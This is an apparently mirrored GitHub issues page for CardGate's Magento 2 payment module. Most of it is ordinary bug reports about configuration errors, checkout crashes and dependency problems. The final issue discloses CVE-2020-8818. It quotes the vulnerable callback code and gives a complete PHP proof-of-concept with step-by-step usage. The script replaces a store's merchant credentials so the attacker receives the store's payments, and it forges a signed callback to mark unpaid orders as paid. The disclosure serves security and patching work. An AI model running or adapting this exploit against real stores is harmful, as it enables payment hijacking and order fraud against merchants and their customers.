Coder Social home page Coder Social logo

cardgate / magento2 Goto Github PK

View Code? Open in Web Editor NEW
6.0 3.0 8.0 422 KB

CardGate module for Magento 2

Home Page: https://www.cardgate.com

License: MIT License

PHP 91.26% HTML 4.05% JavaScript 4.69%
ideal creditcard bitcoin bancontact afterpay magento2 klarna

magento2's People

Contributors

ameeuw23 avatar cardgate avatar richardcardgate avatar sanderatom avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

magento2's Issues

Automated tests impossible by undefined constant BP

https://github.com/cardgate/magento2/blob/master/registration.php

$vendorDir = require BP . '/app/etc/vendor_path.php';
$vendorAutoload = BP . "/{$vendorDir}/autoload.php";

The constant BP is defined within app/autoload.php

vendor/bin/grumphp runs from:

$autoloadLocations = [
getcwd() . '/vendor/autoload.php',
getcwd() . '/../../autoload.php',
DIR . '/../vendor/autoload.php',
DIR . '/../../../autoload.php',
];

BP is not defined resulting in errors when using git hook check code etc.

Notice: Use of undefined constant BP - assumed 'BP' in vendor/cardgate/magento2/registration.php on line 13

Billing address form not available for Cardgate payment methods

Steps to reproduce:

  1. Use clean install of Magento.
  2. Install CardGate module following the steps from https://github.com/cardgate/magento2/blob/master/README.mdown#installation
  3. Setup CardGate payment methods.
  4. Add product to cart and go to checkout.
  5. Default Magento payment methods show form for billing address but CardGate methods only show Place Order button

screen shot 2019-02-26 at 13 15 39

screen shot 2019-02-26 at 13 15 57

Test environment:

Magento Version: 2.2.6 and 2.2.7
CardGate Module for Magento 2: 2.0.19

Payment model name is not provided in config

I've installed Cardgate/magento2 (Cardgate_Payment) module v2.0.9 on my Magento 2.2.0 project (also tried 2.2.2). I've setup a test account but when I open the checkout page it's throwing the following error:

1 exception(s):
Exception #0 (UnexpectedValueException): Payment model name is not provided in config!

Exception #0 (UnexpectedValueException): Payment model name is not provided in config!
#0 [dir]/vendor/magento/module-payment/Model/PaymentMethodList.php(46): Magento\Payment\Helper\Data->getMethodInstance('cardgate_ideal')
#1 [internal function]: Magento\Payment\Model\PaymentMethodList->Magento\Payment\Model\{closure}('cardgate_ideal')
#2 [dir]/vendor/magento/module-payment/Model/PaymentMethodList.php(48): array_map(Object(Closure), Array)
#3 [dir]/vendor/magento/module-payment/Model/PaymentMethodList.php(84): Magento\Payment\Model\PaymentMethodList->getList('1')
#4 [dir]/vendor/magento/module-vault/Plugin/PaymentVaultConfigurationProcess.php(63): Magento\Payment\Model\PaymentMethodList->getActiveList('1')
#5 [dir]/vendor/magento/framework/Interception/Interceptor.php(121): Magento\Vault\Plugin\PaymentVaultConfigurationProcess->beforeProcess(Object(Magento\Checkout\Block\Checkout\LayoutProcessor\Interceptor), Array)
#6 [dir]/vendor/magento/framework/Interception/Interceptor.php(153): Magento\Checkout\Block\Checkout\LayoutProcessor\Interceptor->Magento\Framework\Interception\{closure}(Array)
#7 [dir]/generated/code/Magento/Checkout/Block/Checkout/LayoutProcessor/Interceptor.php(26): Magento\Checkout\Block\Checkout\LayoutProcessor\Interceptor->___callPlugins('process', Array, Array)
#8 [dir]/vendor/magento/module-checkout/Block/Onepage.php(78): Magento\Checkout\Block\Checkout\LayoutProcessor\Interceptor->process(Array)
#9 [dir]/vendor/magento/module-checkout/view/frontend/templates/onepage.phtml(21): Magento\Checkout\Block\Onepage->getJsLayout()
#10 [dir]/vendor/magento/framework/View/TemplateEngine/Php.php(59): include('[dir]/D...')
#11 [dir]/vendor/magento/framework/View/Element/Template.php(270): Magento\Framework\View\TemplateEngine\Php->render(Object(Magento\Checkout\Block\Onepage), '[dir]/D...', Array)
#12 [dir]/vendor/magento/framework/View/Element/Template.php(300): Magento\Framework\View\Element\Template->fetchView('[dir]/D...')
#13 [dir]/vendor/magento/framework/View/Element/AbstractBlock.php(667): Magento\Framework\View\Element\Template->_toHtml()
#14 [dir]/vendor/magento/framework/View/Layout.php(558): Magento\Framework\View\Element\AbstractBlock->toHtml()
#15 [dir]/vendor/magento/framework/View/Layout.php(534): Magento\Framework\View\Layout->_renderBlock('checkout.root')
#16 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('checkout.root')
#17 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('checkout.root')
#18 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('checkout.root', true)
#19 [dir]/vendor/magento/framework/View/Layout.php(585): Magento\Framework\View\Layout\Interceptor->renderElement('checkout.root')
#20 [dir]/vendor/magento/framework/View/Layout.php(536): Magento\Framework\View\Layout->_renderContainer('content')
#21 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('content')
#22 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('content')
#23 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('content', true)
#24 [dir]/vendor/magento/framework/View/Layout.php(585): Magento\Framework\View\Layout\Interceptor->renderElement('content')
#25 [dir]/vendor/magento/framework/View/Layout.php(536): Magento\Framework\View\Layout->_renderContainer('main')
#26 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('main')
#27 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('main')
#28 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('main', true)
#29 [dir]/vendor/magento/framework/View/Layout.php(585): Magento\Framework\View\Layout\Interceptor->renderElement('main')
#30 [dir]/vendor/magento/framework/View/Layout.php(536): Magento\Framework\View\Layout->_renderContainer('columns')
#31 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('columns')
#32 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('columns')
#33 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('columns', true)
#34 [dir]/vendor/magento/framework/View/Layout.php(585): Magento\Framework\View\Layout\Interceptor->renderElement('columns')
#35 [dir]/vendor/magento/framework/View/Layout.php(536): Magento\Framework\View\Layout->_renderContainer('main.content')
#36 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('main.content')
#37 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('main.content')
#38 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('main.content', true)
#39 [dir]/vendor/magento/framework/View/Layout.php(585): Magento\Framework\View\Layout\Interceptor->renderElement('main.content')
#40 [dir]/vendor/magento/framework/View/Layout.php(536): Magento\Framework\View\Layout->_renderContainer('page.wrapper')
#41 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('page.wrapper')
#42 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('page.wrapper')
#43 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('page.wrapper', true)
#44 [dir]/vendor/magento/framework/View/Layout.php(585): Magento\Framework\View\Layout\Interceptor->renderElement('page.wrapper')
#45 [dir]/vendor/magento/framework/View/Layout.php(536): Magento\Framework\View\Layout->_renderContainer('root')
#46 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(206): Magento\Framework\View\Layout->renderNonCachedElement('root')
#47 [dir]/vendor/magento/framework/View/Layout.php(489): Magento\Framework\View\Layout\Interceptor->renderNonCachedElement('root')
#48 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(193): Magento\Framework\View\Layout->renderElement('root', true)
#49 [dir]/vendor/magento/framework/View/Layout.php(954): Magento\Framework\View\Layout\Interceptor->renderElement('root')
#50 [dir]/vendor/magento/framework/Interception/Interceptor.php(58): Magento\Framework\View\Layout->getOutput()
#51 [dir]/vendor/magento/framework/Interception/Interceptor.php(138): Magento\Framework\View\Layout\Interceptor->___callParent('getOutput', Array)
#52 [dir]/vendor/magento/framework/Interception/Interceptor.php(153): Magento\Framework\View\Layout\Interceptor->Magento\Framework\Interception\{closure}()
#53 [dir]/generated/code/Magento/Framework/View/Layout/Interceptor.php(494): Magento\Framework\View\Layout\Interceptor->___callPlugins('getOutput', Array, Array)
#54 [dir]/vendor/magento/framework/View/Result/Page.php(257): Magento\Framework\View\Layout\Interceptor->getOutput()
#55 [dir]/vendor/magento/framework/View/Result/Layout.php(170): Magento\Framework\View\Result\Page->render(Object(Magento\Framework\App\Response\Http\Interceptor))
#56 [dir]/vendor/magento/framework/Interception/Interceptor.php(58): Magento\Framework\View\Result\Layout->renderResult(Object(Magento\Framework\App\Response\Http\Interceptor))
#57 [dir]/vendor/magento/framework/Interception/Interceptor.php(138): Magento\Framework\View\Result\Page\Interceptor->___callParent('renderResult', Array)
#58 [dir]/vendor/magento/framework/Interception/Interceptor.php(153): Magento\Framework\View\Result\Page\Interceptor->Magento\Framework\Interception\{closure}(Object(Magento\Framework\App\Response\Http\Interceptor))
#59 [dir]/generated/code/Magento/Framework/View/Result/Page/Interceptor.php(130): Magento\Framework\View\Result\Page\Interceptor->___callPlugins('renderResult', Array, Array)
#60 [dir]/vendor/magento/framework/App/Http.php(139): Magento\Framework\View\Result\Page\Interceptor->renderResult(Object(Magento\Framework\App\Response\Http\Interceptor))
#61 [dir]/vendor/magento/framework/App/Bootstrap.php(256): Magento\Framework\App\Http->launch()
#62 [dir]/pub/index.php(37): Magento\Framework\App\Bootstrap->run(Object(Magento\Framework\App\Http))
#63 [dir]/.composer/vendor/weprovide/valet-plus/server.php(117): require('[dir]/D...')
#64 {main}

Invalid block type: Cardgate\Payment\Block\Form\DefaultForm

When trying to add a product to a new order in the backend the ajax POST call returns a 500 error with 2 exception(s):

Exception #0 (Magento\Framework\Exception\LocalizedException): Invalid block type: Cardgate\Payment\Block\Form\DefaultForm

Exception #1 (ReflectionException): Class Cardgate\Payment\Block\Form\DefaultForm does not exist

The block Cardgate\Payment\Block\Form\DefaultForm does not exist in the module.

vendor/cardgate/magento2/Model/PaymentMethods.php
line 52
protected $_formBlockType = 'Cardgate\Payment\Block\Form\DefaultForm';

Can't open config settings magento 2.2.7 configState error

I've installed the module by composer and I want to check which settings I can do. But thats not possible due the following error.

Exception #0 (Exception): Warning: Illegal string offset 'configState' in /vendor/cardgate/magento2/Block/Adminhtml/Config/GroupInfo.php on line 61

After deploying module the checkout crashes if settings not saved in backend

After installing the module with composer and deploying to test/staging/production the checkout crashes! On production this will display a Report page. After saving the module config for the first time in the backend the checkout works fine. It seems the module needs settings before initial config save in backend.

Magento 2.1.10 Module 2.0.6

Cart rule not getting triggered properly

Hey y'all,

We're running into an issue with cart rules and the cardgate module after an update a long while back and that problem still persists unfortunately.

We have a shop for a client of ours that uses the cardgate magento 2 module. The shop is running on M2.4.2-p1 using OneStepCheckout 1.2.051 (the iDev one) and Cardgate Magento2 version 2.0.39. That was the latest version when we started developing and a while ago we figured we'd update to the latest version of Cardgate (2.0.43 as of right now), however that broke something fairly simple.

We have a cart rule active in Magento that says if this customer is a member of this particular group and is using the ideal cardgate payment method they should get a discount automatically activated of 1.5%. That works absolutely fine on version 2.0.39 of the Cardgate M2 module but it completely breaks on anything above that. We've tried numerous times and one of 2 things will happen:

  1. The customer will get the discount automatically applied when they go to the checkout page (because ideal is the default payment method), but whenever they select a different payment method the discount is not removed. Or....
  2. The customer won't get the discount applied when going to the checkout and no matter what payment method you select or what you change, the discount does not get applied.

Is there any chance you might be able to reproduce this or look into the specific issue? We can reproduce breaking it and fixing it by upgrading or downgrading the cardgate package from 2.0.39 to >= 2.040 so we're fairly certain something broke during one of the updates, but what exactly we're not sure about.

Hope to hear from you soon,

Kind regards,
Bryan
on behalf of HC Designs

Requirement incorrect

"This extension requires the CardGate API client library for PHP.
When using composer this will be installed automatically."

"cardgate/cardgate-clientlib-php": "~1.0.0"

This version does not exist. This should be ~1.1.0

Missing dependency injection files in developer mode

Hi,

I get the following error: Class Cardgate\Payment\Model\Config\Master does not exist in [Cardgate\Payment\Model\PaymentMethod\ideal\Interceptor] when in developer mode Magento 2.2.2. I can only solve this by executing bin/magento setup:di:compile, which is normally not needed in developer mode and slows down development a lot when you have to run this for each DI change you make.
Is it a necessary thing for something particular to this module or is it possible to fix?

interceptor file not found/open

Hi,
I have installed module on magento 2.2.2 and I have followed below comamnds:
php bin/magento module:enable Cardgate_Payment
php bin/magento setup:upgrade
php bin/magento setup:di:compile
php bin/magento cache:clean

above all commands succeffully done.
I am using magento developer mode.
But it returns error on cart page. below are error details:

1 exception(s):
Exception #0 (Magento\Framework\Exception\FileSystemException): File "/public_html/var/tmp/paymentmethod_cardgate_2.0.13_ideal/Interceptor.php" cannot be opened Warning!fopen(/public_html/var/tmp/paymentmethod_cardgate_2.0.13_ideal/Interceptor.php): failed to open stream: No such file or directory

Public disclosure on CVE-2020-8818 [Unauthorized Payments Hijacking + Order Status Spoofing]

CVE-2020-8818

Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store).

Vulnerable code (fixed in PR #53)

if (!empty($get['cgp_sitesetup']) && !empty($get['token'])) {
try {
$bIsTest = ($get['testmode'] == 1 ? true : false);
$aResult = $this->_cardgateClient->pullConfig($get['token'], $bIsTest);
$aConfigData = $aResult['pullconfig']['content'];
$this->_cardgateConfig->setGlobal( 'testmode', $aConfigData['testmode'] );
$this->_cardgateConfig->setGlobal( 'site_id', $aConfigData['site_id'] );
$this->_cardgateConfig->setGlobal( 'site_key', $aConfigData['site_key'] );
$this->_cardgateConfig->setGlobal( 'api_username', $aConfigData['merchant_id'] );
$this->_cardgateConfig->setGlobal('api_password', $this->encryptor->encrypt($aConfigData['api_key'] ));
$typeListInterface = ObjectManager::getInstance()->get( \Magento\Framework\App\Cache\TypeListInterface::class );
$typeListInterface->cleanType('config');
$sResponse = $this->_cardgateConfig->getGlobal('api_username') . '.' . $this->_cardgateConfig->getGlobal('site_id') . '.200';
return $this->getResponse()->setBody($sResponse);
} catch (\Exception $e) {
return $this->getResponse()->setBody($e->getMessage());
}
}

Affected versions: โ‰ค 2.0.30
Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30

Proof-of-Concept
<?php
/*
  Usage:

  1. Change values of the constants (see below for TARGET & ORDER*)
  2. Host this script somewhere (must be public accessible)
  3. Register a merchant at https://cardgate.com
  4. Sign into "My CardGate" dashboard
  5. Add fake site or choose existing one
  6. Click "Setup your Webshop" button in site preferences
  7. Paste the URL of this script into the pop-up window and click "Save"
  8. The target store now uses the settings of your site, enjoy :]

  P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop.
*/

// -------- Options (start) --------
define('TARGET', 'http://domain.tld'); // without trailing slash, pls
define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status
define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection)
define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above)
define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional)
// --------- Options (end) ---------

define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/');
define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/');

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sToken_ 
 * @param bool $bTestmode_ 
 * @return string
 */
function pullConfig($sToken_, $bTestmode_ = FALSE) {
	if (!is_string($sToken_)) {
		throw new Exception('invalid token for settings pull: ' . $sToken_);
	}

	$sResource = "pullconfig/{$sToken_}/";
	$sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource;

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_URL, $sUrl);
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_HTTPHEADER, [
		'Content-Type: application/json',
		'Accept: application/json'
	]);
	if ($bTestmode_) {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);
	} else {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2);
	}

	if (FALSE == ($sResults = curl_exec($rCh))) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}
	if (NULL === ($aResults = json_decode($sResults, TRUE))) {
		throw new Exception('remote gave invalid JSON: ' . $sResults);
	}
	if (isset($aResults['error'])) {
		throw new Exception($aResults['error']['message']);
	}

	return $aResults;
}

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sUrl 
 * @param array $aData_ 
 * @param string $sHttpMethod_ 
 * @return string
 */
function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') {
	if (!in_array($sHttpMethod_, ['GET', 'POST'])) {
		throw new Exception('invalid http method: ' . $sHttpMethod_);
	}

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);

	if ('POST' == $sHttpMethod_) {
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
		curl_setopt($rCh, CURLOPT_POST, TRUE);
		curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_));
	} else {
		$sUrl = $sUrl
			. (FALSE === strchr($sUrl, '?') ? '?' : '&')
			. http_build_query($aData_)
		;
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
	}

	$response = curl_exec($rCh);
	if (FALSE == $response) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}

	return $response;
}

if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) {
	try {
		$aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']);
		$aConfigData = $aResult['pullconfig']['content'];
		$response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET');
		if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') {
			if (ORDER) {
				$payload = [
					'testmode' => $_REQUEST['testmode'],
					'reference' => ORDER,
					'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)),
					'currency' => ORDER_CURRENCY,
					'amount' => ORDER_AMOUNT * 100,
					'status' => 'success',
					'code' => 200,
					'pt' => ORDER_PAYMENT_TYPE
				];
				$payload['hash'] = md5(
					(!empty($payload['testmode']) ? 'TEST' : '')
					. $payload['transaction']
					. $payload['currency']
					. $payload['amount']
					. $payload['reference']
					. $payload['code']
					. $aConfigData['site_key']
				);
				$response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET');
				if ($response == $payload['transaction'] . '.' . $payload['code']) {
					die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
				} else {
					throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)");	
				}
			} else {
				die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
			}
		} else {
			throw new Exception("It seems target is not vulnerable ($response)");
		}
	} catch (\Exception $oException_) {
		die(htmlspecialchars($oException_->getMessage()));
	}
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.